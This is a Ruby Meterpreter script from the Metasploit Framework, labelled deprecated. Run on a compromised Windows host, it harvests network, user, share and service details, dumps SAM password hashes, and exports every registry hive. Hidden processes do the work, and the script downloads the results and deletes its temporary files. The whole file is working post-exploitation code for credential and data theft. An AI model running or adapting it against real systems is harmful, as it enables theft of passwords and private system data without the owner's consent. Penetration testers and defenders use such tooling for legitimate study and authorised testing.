metasploit-framework/scripts/meterpreter/scraper.rb

172 lines
4.7 KiB
Ruby

##
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
# If you'd like to improve this script, please try to port it as a post
# module instead. Thank you.
##
# This is a Meterpreter script designed to be used by the Metasploit Framework
#
# The goal of this script is to obtain system information from a victim through
# an existing Meterpreter session. This is only a simple example of what can
# be accomplished through Meterpreter scripting.
#
# hdm[at]metasploit.com
#
opts = Rex::Parser::Arguments.new(
"-h" => [ false,"Help menu." ]
)
opts.parse(args) { |opt, idx, val|
case opt
when "-h"
print_line("Scraper -- harvest system info including network shares, registry hives and password hashes")
print_line("Info is stored in " + ::File.join(Msf::Config.log_directory,"scripts", "scraper"))
print_line("USAGE: run scraper")
print_line(opts.usage)
raise Rex::Script::Completed
end
}
require 'fileutils'
# Some of this script was developed in conjunction with _MAX_ (max[at]remote-exploit.org)
# The complete version will be released in the future as 'autometer'
# Delete a file (meterpreter has no unlink API yet)
def m_unlink(client, path)
r = client.sys.process.execute("cmd.exe /c del /F /S /Q " + path, nil, {'Hidden' => 'true'})
while(r.name)
select(nil, nil, nil, 0.10)
end
r.close
end
def unsupported
print_error("This version of Meterpreter is not supported with this Script!")
raise Rex::Script::Completed
end
# Exec a command and return the results
def m_exec(client, cmd)
begin
r = client.sys.process.execute(cmd, nil, {'Hidden' => true, 'Channelized' => true})
b = ""
while(d = r.channel.read)
b << d
break if d == ""
end
r.channel.close
r.close
b
rescue ::Exception => e
print_error("Failed to run command #{cmd}")
print_error("Error: #{e.class} #{e}")
end
end
# Extract the host and port
host,port = client.session_host, client.session_port
print_status("New session on #{host}:#{port}...")
# Create a directory for the logs
logs = ::File.join(Msf::Config.log_directory, 'scripts','scraper', host + "_" + Time.now.strftime("%Y%m%d.%M%S")+sprintf("%.5d",rand(100000)) )
# Create the log directory
::FileUtils.mkdir_p(logs)
unsupported if client.platform != 'windows'
begin
tmp = client.sys.config.getenv('TEMP')
print_status("Gathering basic system information...")
::File.open(File.join(logs, "network.txt"), "w") do |fd|
fd.puts("=" * 70)
client.net.config.each_route do |route|
fd.puts("Local subnet: #{route.subnet}/#{route.netmask}")
end
fd.puts("=" * 70)
fd.puts(m_exec(client, "netstat -na"))
fd.puts("=" * 70)
fd.puts(m_exec(client, "netstat -ns"))
end
info = client.sys.config.sysinfo()
::File.open(File.join(logs, "system.txt"), "w") do |fd|
fd.puts("Computer: #{info['Computer']}")
fd.puts("OS: #{info['OS']}")
end
::File.open(File.join(logs, "env.txt"), "w") do |fd|
fd.puts(m_exec(client, "cmd.exe /c set"))
end
::File.open(File.join(logs, "users.txt"), "w") do |fd|
fd.puts(m_exec(client, "net user"))
end
::File.open(File.join(logs, "shares.txt"), "w") do |fd|
fd.puts(m_exec(client, "net share"))
end
::File.open(File.join(logs, "services.txt"), "w") do |fd|
fd.puts(m_exec(client, "net start"))
end
::File.open(File.join(logs, "nethood.txt"), "w") do |fd|
fd.puts(m_exec(client, "net view"))
end
::File.open(File.join(logs, "localgroup.txt"), "w") do |fd|
fd.puts(m_exec(client, "net localgroup"))
end
::File.open(File.join(logs, "group.txt"), "w") do |fd|
fd.puts(m_exec(client, "net group"))
end
::File.open(File.join(logs, "systeminfo.txt"), "w") do |fd|
fd.puts(m_exec(client, "systeminfo"))
end
begin
client.core.use("priv")
hashes = client.priv.sam_hashes
print_status("Dumping password hashes...")
::File.open(File.join(logs, "hashes.txt"), "w") do |fd|
hashes.each do |user|
fd.puts(user.to_s)
end
end
rescue ::Exception => e
print_status("Error dumping hashes: #{e.class} #{e}")
end
print_status("Obtaining the entire registry...")
hives = %w{HKCU HKLM HKCC HKCR HKU}
hives.each do |hive|
print_status(" Exporting #{hive}")
tempname = "#{tmp}\\#{Rex::Text.rand_text_alpha(8)}.reg"
m_exec(client, "reg.exe export #{hive} #{tempname}")
print_status(" Downloading #{hive} (#{tempname})")
client.fs.file.download_file(File.join(logs, "#{hive}.reg"), tempname)
print_status(" Cleaning #{hive}")
m_unlink(client, tempname)
end
print_status("Completed processing on #{host}:#{port}...")
rescue ::Exception => e
print_status("Exception: #{e.class} #{e} #{e.backtrace}")
end